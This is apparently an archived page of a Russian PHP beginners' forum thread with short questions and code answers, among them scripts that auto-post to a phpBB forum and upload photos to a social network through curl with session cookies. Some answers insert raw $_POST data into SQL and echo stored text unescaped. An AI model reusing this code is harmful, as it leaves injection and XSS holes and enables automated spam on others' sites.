PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 [52] 53 54 55 56 57 58 59 60 61 62 63 64 65 66

mailbrush
08.10.2009, 22:53
Омг, это действительно бред =\
Используй HTTP Analyzer, чтобы сниффать пакеты и InetCrack чтобы отсылать их.

Fepsis
08.10.2009, 23:09
Да не гоните на темпер дату... Просто им надо уметь пользоваться ;) Failure, на каком форуме ты такое получил..?!

Failure
08.10.2009, 23:58
запарился уже

Epic wave
08.10.2009, 23:58
запарился уже
что за форум ?

Failure
09.10.2009, 00:02
$post_data = Array(
'icon' => 0,
'subject' => $subj,
'addbbcode20' => 100,
'helpbox' => 'Совет: Можно быстро применить стили к выделенному тексту.',
'message' => $msg,
'attach_sig' => 'on',
'topic_type' => 0,
'topic_time_limit' => 0,
'post' => 'Отправить',
'filecomment' => '',
'poll_title' => '',
'poll_option_text' => '',
'poll_max_options' => 1,
'poll_length' => 0,
'lastclick' => 1255029837,
'creation_time' => 1255029837,
'form_token' => $sid
);
$post_data = http_build_query($post_data);

$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
$out .= "Host: site.ru\r\n";
$out .= "Accept-Charset: utf-8;q=0.7\r\n";
$out .= "Content-Type: multipart/form-data\r\n";
$out .= "Cookie: ".$c."\r\n";
$out .= "Content-lenght: ".strlen($post_data)."\r\n\r\n".$post_data."\r\n";
/*
$c = печенье
$sid = securityid
$subj & $msg понятно
*/

то что показал HTTPAnalyzer =\
не создает тему
UPD: ссылку на форум дать не могу соре=\ последняя версия phpbb

m0Hze
09.10.2009, 00:03
$post_data = Array(
'icon' => 0,
'subject' => $subj,
'addbbcode20' => 100,
'helpbox' => 'Совет: Можно быстро применить стили к выделенному тексту.',
'message' => $msg,
'attach_sig' => 'on',
'topic_type' => 0,
'topic_time_limit' => 0,
'post' => 'Отправить',
'filecomment' => '',
'poll_title' => '',
'poll_option_text' => '',
'poll_max_options' => 1,
'poll_length' => 0,
'lastclick' => 1255029837,
'creation_time' => 1255029837,
'form_token' => $sid
);
$post_data = http_build_query($post_data);

$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
$out .= "Host: site.ru\r\n";
$out .= "Accept-Charset: utf-8;q=0.7\r\n";
$out .= "Content-Type: multipart/form-data\r\n";
$out .= "Cookie: ".$c."\r\n";
$out .= "Content-lenght: ".strlen($post_data)."\r\n\r\n".$post_data."\r\n";
/*
$c = печенье
$sid = securityid
$subj & $msg понятно
*/

то что показал HTTPAnalyzer =\
не создает тему
Выглядит совсем не по феншую :(

Fepsis
09.10.2009, 00:16
Во первых, параметры 'lastclick' => 1255029837, 'creation_time' => 1255029837 скорее всего меняются постоянно, и их нужно парсить каждый раз заново из кода страницы, во вторых ты шлёшь ПОСТ запрос, а в первой строке
$out = "GET ....

+ ещё текст обычно предварительно коируется чем нить типа урлэнкоде...

Epic wave
09.10.2009, 00:17
$post_data = Array(
'icon' => 0,
'subject' => $subj,
'addbbcode20' => 100,
'helpbox' => 'Совет: Можно быстро применить стили к выделенному тексту.',
'message' => $msg,
'attach_sig' => 'on',
'topic_type' => 0,
'topic_time_limit' => 0,
'post' => 'Отправить',
'filecomment' => '',
'poll_title' => '',
'poll_option_text' => '',
'poll_max_options' => 1,
'poll_length' => 0,
'lastclick' => 1255029837,
'creation_time' => 1255029837,
'form_token' => $sid
);
$post_data = http_build_query($post_data);

$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
$out .= "Host: site.ru\r\n";
$out .= "Accept-Charset: utf-8;q=0.7\r\n";
$out .= "Content-Type: multipart/form-data\r\n";
$out .= "Cookie: ".$c."\r\n";
$out .= "Content-lenght: ".strlen($post_data)."\r\n\r\n".$post_data."\r\n";
/*
$c = печенье
$sid = securityid
$subj & $msg понятно
*/

то что показал HTTPAnalyzer =\
не создает тему
UPD: ссылку на форум дать не могу соре=\ последняя версия phpbb

да уж =/

Failure
09.10.2009, 00:28
Во первых, параметры 'lastclick' => 1255029837, 'creation_time' => 1255029837 скорее всего меняются постоянно
неа
во вторых ты шлёшь ПОСТ запрос, а в первой строке
$out = "GET ....

ставишь POST пишет ошибка 411, хотя Content-Lenght указан
+ ещё текст обычно предварительно коируется чем нить типа урлэнкоде...
$post_data = http_build_query($post_data); режит массив та строку типа param1=val1&param2=val2&... и урленкодит сразу же

Fepsis
09.10.2009, 00:38
неа
Ну знаешь сегодня не меняется, а завтра может измениться... У меня такое бывало.. ;)

ставишь POST пишет ошибка 411, хотя Content-Lenght указан

$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
То, что выделено красным нужно убрать, оно прописано в следующей строке..)

Failure
09.10.2009, 00:45
Один пень, пробовал и так и так, все равно ответ 411

krypt3r
09.10.2009, 06:59
В конце запроса должно быть \r\n\r\n, а не \r\n

OnArs
09.10.2009, 13:16
Здравствуйте!


Описание:
Есть кучка поддоменов вида некий-поддомен.домен.ру.
При обращении к любому поддомену и основному домену на сервере вызывается файл index.php.


Вопрос:
Как с помощью php узнать Поддомен это или нет?


Заранее благодарен любым ответам!

L I G A
09.10.2009, 15:17
Здравствуйте!


Описание:
Есть кучка поддоменов вида некий-поддомен.домен.ру.
При обращении к любому поддомену и основному домену на сервере вызывается файл index.php.


Вопрос:
Как с помощью php узнать Поддомен это или нет?


Заранее благодарен любым ответам!
ответ:
<?php

________
0ph.ru

if(preg_match('#(.+)\.(.+)\.ru#',$_SERVER['HTTP_HOST']))
{
echo 'поддомен';
}else{
echo 'домен';
}

?>

Myload
09.10.2009, 16:05
нужен скрипт заметка
php, хранились в .txt спс!

с меня ++++:)

mailbrush
09.10.2009, 16:16
ставишь POST пишет ошибка 411, хотя Content-Lenght указан
Content-Length
Подучи английский =\
нужен скрипт заметка
php, хранились в .txt спс!

с меня ++++:)
о_О, что? Объясни конкретнее.

[Dead]Demon
09.10.2009, 16:18
нужен скрипт заметка
php, хранились в .txt спс!

с меня ++++:)

что ты хочешь? не понял

REBUUS
09.10.2009, 16:29
нужен скрипт заметка
php, хранились в .txt спс!

с меня ++++:)

хочешь что бы пхп код из тхт подключался ?

Myload
09.10.2009, 16:48
Demon']что ты хочешь? не понял

вожу текст и он хранится в файле .txt и показывает на страничке на форме :rolleyes:

пример


<?
код какой хз
?>
<form action="" method=post>
<textarea rows=3 cols=30 wrap=auto name=a></textarea>
<input type=submit name=submit value=хранить>
</form>

Epic wave
09.10.2009, 17:07
<form action="" method="post" name="frt" >
Сюда вводить:
<input type="text" name="keys">
<input type=submit name=submit value=хранить>
</form>
<?
$filename = 'test.txt';
$somecontent = $_POST['keys'];

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote ($somecontent) to file ($filename)";

fclose($handle);

} else {
echo "The file $filename is not writable";
}

?>

Myload
09.10.2009, 17:12
Epic wave, не то надо чтоб в форме хранился текс!!!

Epic wave
09.10.2009, 17:13
Epic wave, не то надо чтоб в форме хранился текс!!!
как в форме ? не понимаю тебя.

Myload
09.10.2009, 17:14
как в форме ? не понимаю тебя.

<textarea rows=3 cols=30 wrap=auto name=a></textarea>

Epic wave
09.10.2009, 17:16
<textarea rows=3 cols=30 wrap=auto name=a></textarea>
т.е. ты его вводишь и он остается потом заходишь он все там же?

Myload
09.10.2009, 17:19
т.е. ты его вводишь и он остается потом заходишь он все там же?

ага и чтоб работали пробелы :rolleyes:

Epic wave
09.10.2009, 17:21
ага и чтоб работали пробелы :rolleyes:
ну если что то простое то сначала пиши в *.txt потом доставай. а если серьезное что-тотогда MySQl прикручивай. я бы MySQl Прикрутил на твоем месте.

Myload
09.10.2009, 17:26
ну если что то простое то сначала пиши в *.txt потом доставай. а если серьезное что-тотогда MySQl прикручивай. я бы MySQl Прикрутил на твоем месте.

ты можеш на писать :rolleyes:

L I G A
09.10.2009, 17:37
2Myload
<?php
$filename = 'test.txt';
$somecontent = $_POST['text'];

if (!$_POST['do'])
{

$array=file($filename);

foreach($array as $somecontent){}

}else{

$handle = fopen($filename, 'a');
fwrite($handle, $somecontent);
fclose($handle);


}

?>
<form action="" method=post>
<textarea name="text" rows=5 cols=20 wrap="off"><?=$somecontent?></textarea>
<br><input type=submit name="do" value=хранить>
</rorm>

________
0ph.ru

imajo.ati
09.10.2009, 17:37
Myload >>>

<?php
$script_charset = 'windows-1251';
$file = './note.txt';
if ( isset($_POST['text']) ) {
$text = (string)@$_POST['text'];
file_put_contents($file,$text);
} else $text = @file_get_contents($file);
?>
<!doctype html>
<html>
<head>
</head>
<body>
<form method="POST" action="">
<textarea cols="45" rows="15" name="text"><?php echo htmlspecialchars($text); ?></textarea>
<br><input type="submit" value="сохранить">
</form>
</body>
</html>

imajo.ati
09.10.2009, 17:38
опередили =)

Epic wave
09.10.2009, 17:40
сама форма

<form action="1.php" method="post"
<textarea rows="3" cols="50" name="text">
<input type="submit" align="center" value="Добавить">
</form>



Добавление 1.php

<?

$link=mysql_connect("localhost", "name","pswd");

if (!link){
die ("error MySQL");}

$database="base";

mysql_select_db($database)or die ("error mySQL");

$t=$_POST['text'];

$query="INSERT INTO spisokvbase (`id`,`text`)
Values ('0','$t')";

?>


вывод


$result = mysql_query("SELECT * FROM `title` LIMIT $offset, $number", $link);
echo $result;


p.s Подставляй свои данные базы и юзай, сразу говорю написал на быструю руку, не проверял. Так что сильно не ругайся

Epic wave
09.10.2009, 17:41
хе-хе, опаздал, у меня пример с MySQl

Myload
09.10.2009, 17:42
всем спс!:)

L I G A
09.10.2009, 17:46
хе-хе, опаздал, у меня пример с MySQl
сорри ,но на**я ему БД для вывода текста в форму?
лишний гемор.
+ юзай
$id=mysql_insert_id();
а не:
Values ('0','$t')";
если там будет ни одна запись

________
0ph.ru

gisTy
09.10.2009, 17:47
сорри ,но на***я ему БД для вывода текста в форму?
дык это же круто! лишний раз послать запрос к мускулу не кажддый день можно

Epic wave
09.10.2009, 17:48
сорри ,но на***я ему БД для вывода текста в форму?
по моему логично всё.

ввёл данные, они загрузились в бд при надобности доставать. я согласен, не самое простое решение, но как вариант.

Epic wave
09.10.2009, 17:50
+ юзай
$id=mysql_insert_id();
а не:
Values ('0','$t')";
оке, я ток учусь.

imajo.ati
09.10.2009, 17:57
+ юзай
$id=mysql_insert_id();
а не:
Values ('0','$t')";

зачем?

L I G A
09.10.2009, 18:01
зачем?
я добавил:
если там будет ни одна запись
не будет же он при каждом инсерте писать:
Values ('0','$t')";
Values ('1','$t')";
Values ('2','$t')";
потому как создавать таблицу для 1-й записи - как то по пид***ки

________
0ph.ru

Epic wave
09.10.2009, 18:02
я добавил:
если там будет ни одна запись
не будет же он при каждом инсерте писать:
Values ('0','$t')";
Values ('1','$t')";
Values ('2','$t')";
потому как создавать таблицу для 1-й записи - как то
по пидарски
в базе автоинкремент

harom
09.10.2009, 18:06
подскажите, как можно вставить фун.
if (isset( $myrow_coments['vid']))
{
echo "$myrow_coments['vid']";
}


в оператор printf

L I G A
09.10.2009, 18:07
в базе автоинкремент
круто!
mysql_insert_id() возвращает ID, сгенерированный колонкой с AUTO_INCREMENT последним запросом INSERT к серверу.

________
0ph.ru

gisTy
09.10.2009, 18:08
подскажите, как можно вставить фун.
if (isset( $myrow_coments['vid']))
{
echo "$myrow_coments['vid']";
}


в оператор printf
if (isset( $myrow_coments['vid'])) printf("%s", $myrow_coments['vid']);

Epic wave
09.10.2009, 18:13
круто!
mysql_insert_id() возвращает ID, сгенерированный колонкой с AUTO_INCREMENT последним запросом INSERT к серверу.
учту. спасибо.

harom
09.10.2009, 18:48
if (isset( $myrow_coments['vid'])) printf("%s", $myrow_coments['vid']);


не то!

такой скрипт:

$myrow_coments= mysql_fetch_array($res_coments);//масив значений коментариев
do
{
printf ("

<table class='wallpost'>
<tr>

<td class='image'>
<a href='/id9532829'><img border='0' src='img/b5825536.gif'></a>
</td>

<td class='info'>
<div class='header'><div class='dArrow'></div>
<div style='font-weight: bold;'> %s </div>
<b>написал(а)</b><br />

<small> Дата:%s </small>
</div>

<div class='text' id='wPost68177652' style='width: 315px; overflow: hidden;'> Ответ: %s </div>
<div class='actions'>
<a href='/wall.php?id=22032769&person=9532829'><small>Лично</small></a>
<span class='sdivide'>|</span><a href='ответить автору'>
<small>видят все</small></a><span class='sdivide'>|</span>



</div>
</td>
</tr>
</table>


( и вот если есть переменная $myrow_coments["vid"] тогда выводим
У нас есть видео ответ (и переменная )



"
,$myrow_coments["author"],$myrow_coments["date"],$myrow_coments["text"],$myrow_coments["vid"]);
}

while ($myrow_coments= mysql_fetch_array($res_coments));

gisTy
09.10.2009, 19:25
не то!

такой скрипт:

$myrow_coments= mysql_fetch_array($res_coments);//масив значений коментариев
do
{
printf ("

<table class='wallpost'>
<tr>

<td class='image'>
<a href='/id9532829'><img border='0' src='img/b5825536.gif'></a>
</td>

<td class='info'>
<div class='header'><div class='dArrow'></div>
<div style='font-weight: bold;'> %s </div>
<b>написал(а)</b><br />

<small> Дата:%s </small>
</div>

<div class='text' id='wPost68177652' style='width: 315px; overflow: hidden;'> Ответ: %s </div>
<div class='actions'>
<a href='/wall.php?id=22032769&person=9532829'><small>Лично</small></a>
<span class='sdivide'>|</span><a href='ответить автору'>
<small>видят все</small></a><span class='sdivide'>|</span>



</div>
</td>
</tr>
</table>


( и вот если есть переменная $myrow_coments["vid"] тогда выводим
У нас есть видео ответ (и переменная )



"
,$myrow_coments["author"],$myrow_coments["date"],$myrow_coments["text"],$myrow_coments["vid"]);
}

while ($myrow_coments= mysql_fetch_array($res_coments));




а зачем обязательно printf? я конечно плохо себе представляю что это будет, но можно сделать вот так например:
<?php
$myrow_coments= mysql_fetch_array($res_coments);//масив значений коментариев
do
{
echo "

<table class='wallpost'>
<tr>

<td class='image'>
<a href='/id9532829'><img border='0' src='img/b5825536.gif'></a>
</td>

<td class='info'>
<div class='header'><div class='dArrow'></div>
<div style='font-weight: bold;'>".$myrow_coments["author"]."</div>
<b>написал(а)</b><br />

<small> Дата:".$myrow_coments["date"]." </small>
</div>

<div class='text' id='wPost68177652' style='width: 315px; overflow: hidden;'> Ответ: ".$myrow_coments["text"]." </div>
<div class='actions'>
<a href='/wall.php?id=22032769&person=9532829'><small>Лично</small></a>
<span class='sdivide'>|</span><a href='ответить автору'>
<small>видят все</small></a><span class='sdivide'>|</span>



</div>
</td>
</tr>
</table>";

if (isset($myrow_coments["vid"])) echo "У нас есть видео ответ ".$myrow_coments["vid"];
}

while ($myrow_coments= mysql_fetch_array($res_coments));
?>

harom
09.10.2009, 20:22
gisTy спасибо, действительно

Nightmarе
09.10.2009, 23:38
Как через функцию SetCookie() установить кукисы на вечное время, или на 10 лет например?
делаю так:
SetCookie("lol","Value",time()+999999999);
Но нифига, при закрытии браузера кукисы исчезают. Как исправить?

gisTy
09.10.2009, 23:46
Как через функцию SetCookie() установить кукисы на вечное время, или на 10 лет например?
делаю так:
SetCookie("lol","Value",time()+999999999);
Но нифига, при закрытии браузера кукисы исчезают. Как исправить?
у меня в опере остаются, в фф исчезают.

Epic wave
09.10.2009, 23:47
setcookie ("TestCookie", "", time() - 3600); это на час

Epic wave
09.10.2009, 23:49
Как через функцию SetCookie() установить кукисы на вечное время, или на 10 лет например?
делаю так:
SetCookie("lol","Value",time()+999999999);
Но нифига, при закрытии браузера кукисы исчезают. Как исправить?

setcookie ("TestCookie", "", time() - 999999999); попробуй

L I G A
09.10.2009, 23:50
setcookie ("TestCookie", "", time() - 3600); это на час
мб на час назад?

________
0ph.ru

Epic wave
09.10.2009, 23:52
мб на час назад?
да, точно. там плюс должен быть.

Nightmarе
09.10.2009, 23:54
Не пашут эти способы.
Это случаем не ФайрФокс все куки подряд удаляет?

В документации к функции сказанно:
// send a cookie that expires in 24 hours
setcookie("TestCookie",$value, time()+3600*24);
Но не пашет. Дело в браузере или в чём?

Epic wave
09.10.2009, 23:56
Не пашут эти способы.
Это случаем не ФайрФокс все куки подряд удаляет?

В документации к функции сказанно:
// send a cookie that expires in 24 hours
setcookie("TestCookie",$value, time()+3600*24);
Но не пашет. Дело в браузере или в чём?
попробуй в другом браузере.

Nightmarе
10.10.2009, 00:00
Да нигде не пашет, хоть 2 параметра, хоть третим какое угодно значения. после закрытия - удаляются.

gisTy
10.10.2009, 00:01
Но не пашет. Дело в браузере или в чём?скорее всего да, попробуй в опере или в ие потестить
кстати.. в ФФ посмотри в Настройки -> Приватность -> Cookies -> Сохранять Cookies

Nightmarе
10.10.2009, 00:06
<?php
if(isset($_COOKIE["lol222"]))
{
echo "Есть ".$_COOKIE["lol222"];
}
else
{
SetCookie("lol222","Value123qwerty");
echo "Нету";
}
?>
После закрытия любого браузера (IE, FF, Opera) кукисы исчезают, даже если в 3 параметр записать разные значения времени, не помогает.

L I G A
10.10.2009, 00:12
<?php
if(isset($_COOKIE["lol222"]))
{
echo "Есть ".$_COOKIE["lol222"];
}
else
{
SetCookie("lol222","Value123qwerty");
echo "Нету";
}
?>
После закрытия любого браузера (IE, FF, Opera) кукисы исчезают, даже если в 3 параметр записать разные значения времени, не помогает.
если не указывать время действия ,оно по дефолту будет равно времени действий сессий => до первого закрытия браузера.

________
0ph.ru

Nightmarе
10.10.2009, 00:14
Это мне тоже известно, про 3 параметр я уже писал, никакие манипуляции не помогают.
Возможно дело в 4 параметре указания конкретного домэна? Или это не обязательно?

L I G A
10.10.2009, 00:18
попробу таким образом:
setcookie("name",значение,mktime(0,0,0,01,25,2010));

Nightmarе
10.10.2009, 00:23
угу, пашет. спс

dllerk
10.10.2009, 13:17
Поскажите как отсортировать массив на директории и файлы ?
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');

L I G A
10.10.2009, 13:57
Поскажите как отсортировать массив на директории и файлы ?
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
<?php
$files=array();
$folders=array();
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
for($i=0;$i<=count($bk);$i++){
if(preg_match('#(.+)\.(.+)#',$bk[$i]))
{
$files[]=$bk[$i];
}else{
$folders[]=$bk[$i];
}

}
?>
$files - массив с файлами
$folders - массив с папками

SultanOFF
10.10.2009, 14:20
здравствуйте. Совсем уж наверно детский вопрос задаю, но все же:
есть форма

<form name="pred" method="get" action="http:super">
<b><font color="#003333">Ляля1:</font></b><br>
<select name="super">
<option value="x1">x1
<option value="x2">x2
<option value="x3">x3
<option value="x4">x4
</select>
<br><br>
<b><font color="#003333">Выберите</font></b><br>
<select name="super">
<option value="w1">w1
<option value="w2">w2
<option value="w3">w3
</select>
<br><br>
<input type="submit" value="Окей">
</form>
эта форма встроенна в dle 8.2. При нажати на окей получаются линки вроде этого site.ru/super?super=x1&super=w2
А Мне нужно чтобы получилось вроде этого site.ru/x1/w2 так как если Я создам в dle категорию x1 и подкатегорию w2 то как раз так и получится. Подскажите пожалуйста как Мне добиться такого эффекта :)

Deathdreams
10.10.2009, 14:49
SultanOFF

ЧПУ настроено?

Deathdreams
10.10.2009, 14:56
SultanOFF
+ Сделай передачу POST методом

#1

<script>
var one = '';
var two = '';
function get(){
one = document.getelementbyid('1').value;
two = document.getelementbyid('2').value;
var form = document.getelementbyid('act').value;
//забыл как на JS изменять HTML содержимое nearHTML вроде, додумаешься кароче

}
</script>

<option onclick='get()' value="w3">w3


#2

<form <span id='act'>action=""</span> name="pred" method="post">


мой вариант говнокода :)

gisTy
10.10.2009, 14:57
<?php
$files=array();
$folders=array();
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
for($i=0;$i<=count($bk);$i++){
if(preg_match('#(.+)\.(.+)#',$bk[$i]))
{
$files[]=$bk[$i];
}else{
$folders[]=$bk[$i];
}

}
?>
$files - массив с файлами
$folders - массив с папками
мда. проверять файл это или папка регуляркой это ты загнул.. тем более, а если я папку назову my.dir она у тебя определится как файл :)
$files=array();
$folders=array();
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
foreach($bk as $name)
if(is_dir($name)) $dirs[] = $name;
else if(is_file($name)) $files[] = $name;
else echo "ЭТО ЖЕ ЛИНК!";

wildshaman
10.10.2009, 15:06
2гисти:

$files[] = $name;

L I G A
10.10.2009, 15:33
мда. проверять файл это или папка регуляркой это ты загнул.. тем более, а если я папку назову my.dir она у тебя определится как файл :)

спс,как то не подумал про встроенные функции.

mailbrush
10.10.2009, 22:07
Сабж, возник вопрос... Есть код $str = '\101\102\103\104';Именно апострофы, а не кавычки используются. Как из этой строки вытянуть строку ABCD?

Vlad&slav
11.10.2009, 02:19
Как мне мой скрипт прально написать а то я новичёк

<?
$dn = date("j")*60*60*24;
$chas = date("G")*60*60;
$min = date("i")*60;
$sec = date("s")*1;
$ndata = $dn + $chas + $min + $sec;
$sdata = file_get_contents("clock.txt");
$delta = $ndata - $sdata;
$time = 60*60*24*3 // лимит 3 дня
if($delta > $time){

// выполняем обновление

$file = fopen("clock.txt","w+");
fwrite($file,$ndata);
fclose($file);
}else{
echo "Обновить базу будет можно только через ".$delta."секунд.";
}
?>

krypt3r
11.10.2009, 02:29
mailbrush, например, так

$str = preg_replace ('/\\\(\d{1,3})/e', 'chr(0\\1)', $str);

REBUUS
11.10.2009, 02:43
Как мне мой скрипт прально написать а то я новичёк

<?
$dn = date("j")*60*60*24;
$chas = date("G")*60*60;
$min = date("i")*60;
$sec = date("s")*1;
$ndata = $dn + $chas + $min + $sec;
$sdata = file_get_contents("clock.txt");
$delta = $ndata - $sdata;
$time = 60*60*24*3 // лимит 3 дня
if($delta > $time){

// выполняем обновление

$file = fopen("clock.txt","w+");
fwrite($file,$ndata);
fclose($file);
}else{
echo "Обновить базу будет можно только через ".$delta."секунд.";
}
?>


я бы сделал так

$data=time();
$oldtime=file("iclock.txt");

if (($oldtime[0]+(60*60*24*3))<$data) // 3 дня
{
// выполняем обновление

$aaa= fopen('iclock.txt', 'w+');
fwrite($aaa,time());
fclose($aaa);
} else {
cho "Обновить базу будет можно только через ".$delta."секунд.";
}

REBUUS
11.10.2009, 03:22
ой т.е

echo "Обновить базу будет можно только через ".($data-$oldtime[0])."секунд.";

geforse
11.10.2009, 09:24
UNIX-time: 1255237657

Как перевести в ...

2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)

krypt3r
11.10.2009, 10:05
echo date ('Y:m:d:H:i:s', 1255237657);

geforse
11.10.2009, 10:34
krypt3r, спасибо )
Обратный вопрос:

2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)

Как перевести в ...

UNIX-time: 1255237657

gisTy
11.10.2009, 11:04
krypt3r, спасибо )
Обратный вопрос:

2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)

Как перевести в ...

UNIX-time: 1255237657
http://www.php.su/functions/?date

Gifts
11.10.2009, 11:25
geforse Более менее универсально так:$date = '2009:10:11:08:30:36';
$date = preg_replace('!^(\d{2,4}):(\d{2}):(\d{2}):(\d{2}:\ d{2}:\d{2})$!','$1-$2-$3 $4',$date);
echo strtotime($date);На невиндосах можно использовать strptime()

mailbrush
11.10.2009, 14:10
$str1 = "\160\160\160";
echo $str1; //выводит ppp
$str2 = '\160\160\160';
Как вывести ppp с помощью $str2? Или что это за тип, это ведь не char, ибо chr(160) не выводит "p".

Gray_Wolf
11.10.2009, 14:45
$str1 = "\160\160\160";
echo $str1; //выводит ppp
$str2 = '\160\160\160';
Как вывести ppp с помощью $str2? Или что это за тип, это ведь не char, ибо chr(160) не выводит "p".
Ну какбы строку
\[0-7]{1,3}
PHP воспринимает как восьмиричное число...
160(8)=112(10)
chr(112)='p';

harom
11.10.2009, 15:23
пишу скрипт голосования и не могу понять как это должно происходить:

ситуация как здесь (http://otvet.mail.ru/question/29665854/)

объясните, как можно вывести лучший ответ в самом верху а все остальные(без лучшего) ниже.
есть для каждого ответа переменная $reyting


никакого кода писать не нужно(что легко даётся, то не запоминается), просто человеческим языком

Genry13
11.10.2009, 15:50
Есть сайт, с него надо брать контент, выделять некоторую часть, обрабатывать(минимизирова ь и представлять в таблицах) и отдавать в файл. Вопрос: как это лучше всего реализовать(в частности процесс обработки)?

Gray_Wolf
11.10.2009, 15:52
2harom
Ну самый простой вариант, просто при выводе ответы упорядочить по рейтингу, а не по дате.
Ну или добавляем доп. логическое поле в базу "best_solution", и делаем упорядочивание сначала по нему, а потом по дате...

2Genry13 почитайте о регулярных выражениях, они всё сделают за вас.

krypt3r
11.10.2009, 16:31
Обратный вопрос:

2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)

Как перевести в ...

UNIX-time: 1255237657
mktime (8, 30, 36, 10, 11, 2009);

Genry13
11.10.2009, 18:46
почитайте о регулярных выражениях, они всё сделают за вас.
Тогда такой вопрос,допустим в исходнике страницы перед каждым блоком, который до я собираюсь вырезать(все блоки с разным содержимым), присутствует:
перед первым - <a href='http://www.google.ru/'>Гугля</a>
перед вторым - <a href='http://www.yandex.ru/'>Яндекс</a>
перед третьим - <a href='http://www.phpfaq.ru/'>ЧаВо</a>
Каждый блок заканчивается одинаковыми тегами, например
</td></table>
Т.о. как задать фильтр, что бы попадать именно на то, что между необходимыми тегами? Можно ли это сделать за один "проход-прорезание", или необходим цикл с несколькими условиями?

je0n
11.10.2009, 19:06
Тогда такой вопрос,допустим в исходнике страницы перед каждым блоком, который до я собираюсь вырезать(все блоки с разным содержимым), присутствует:
перед первым - <a href='http://www.google.ru/'>Гугля</a>
перед вторым - <a href='http://www.yandex.ru/'>Яндекс</a>
перед третьим - <a href='http://www.phpfaq.ru/'>ЧаВо</a>
Каждый блок заканчивается одинаковыми тегами, например
</td></table>
Т.о. как задать фильтр, что бы попадать именно на то, что между необходимыми тегами? Можно ли это сделать за один "проход-прорезание", или необходим цикл с несколькими условиями?
регулярные выражения в php, часть 1 (http://phpclub.ru/detail/article/regexp_1)
регулярные выражения в php, часть 2 (http://phpclub.ru/detail/article/regexp_2)

Insane bboy
11.10.2009, 21:26
есть ли у кого нить класс работы с мульти курлом, скиньте пожалуйста ссылку или код, просто очень хочется "многопоточность", а мой попытки кончаются вообще херней какой то... нужно чтоб к примеру, есть 30урл и 30пост запросов и чтоб скрипт слал по 10 запросов потом след 10 и тд... то что я пробывал , писал, вообще путает все запросы и урл:( ...ну на крайней случай скинте нормальный ман по мульти курлу))) ну желательно класс:) чтоб к примеру я задавал число потоков и тд тд:)

zifanchuck
11.10.2009, 21:39
Чето бошка уже не варит. хочу сделать добавления картики в группу. Может ктото делал такое поможет.
Опыта заливки фоток через курл у меня нет, и чето никак не отправляеться, выдает Security Breach2.
Типа как я ето все делал
1. захожу в "добавить фотографию"
2.Выдираю все что нужно
деру так

preg_match_all ('#upload\" action=\"(.*)\"#iU', $result, $regs);
$ssil = $regs[1][0];

preg_match_all ('#name=\"id\" value=\"(.*)\"#iU', $result, $regs);
$id = $regs[1][0];

preg_match_all ('#name=\"mid\" value=\"(.*)\"#iU', $result, $regs);
$mid = $regs[1][0];

preg_match_all ('#name=\"hash\" value=\"(.*)\"#iU', $result, $regs);
$hash = $regs[1][0];

preg_match_all ('#name=\"rhash\" value=\"(.*)\"#iU', $result, $regs);
$rhash = $regs[1][0];



3.потом отправляю запрос курлом


$result = curl($ssil, array(
'act'=>"do_add",
'id'=>$id,
'aid'=>$id,
'gid'=>$i,
'hash'=>$hash,
'vk'=>"",
'rhash'=>$rhash,
'filename'=>"@$foto",
'name'=>'file1'));

сама функция курла


function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};


картинка лежит вместе со скриптом. Надеюсь поможете))

Deathdreams
11.10.2009, 22:18
zifanchuck
Реферер надо передать.

Myload
11.10.2009, 22:23
если добрые люди переписать чат на Mysql и добавить функции в чат?
стучите в асю:)

harom
11.10.2009, 22:41
пишу скрипт голосования и не могу понять как это должно происходить:

ситуация как здесь (http://otvet.mail.ru/question/29665854/)

объясните, как можно вывести лучший ответ в самом верху а все остальные(без лучшего) ниже.
есть для каждого ответа переменная $reyting


никакого кода писать не нужно(что легко даётся, то не запоминается), просто человеческим языком


так и не решил вопрос как выводить порядка 15 ответов ниже "лучшего" не включая его самого

zifanchuck
11.10.2009, 23:03
не помогло вставить реферера. по всему контакту скрипты норм работают и без реферера.

вот какие хттп заголовки
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 20229
-----------------------------41184676334
Content-Disposition: form-data; name="act"

do_add
-----------------------------41184676334
Content-Disposition: form-data; name="id"

96688725
-----------------------------41184676334
Content-Disposition: form-data; name="aid"

96688725
-----------------------------41184676334
Content-Disposition: form-data; name="gid"

12019051
-----------------------------41184676334
Content-Disposition: form-data; name="mid"

38387127
-----------------------------41184676334
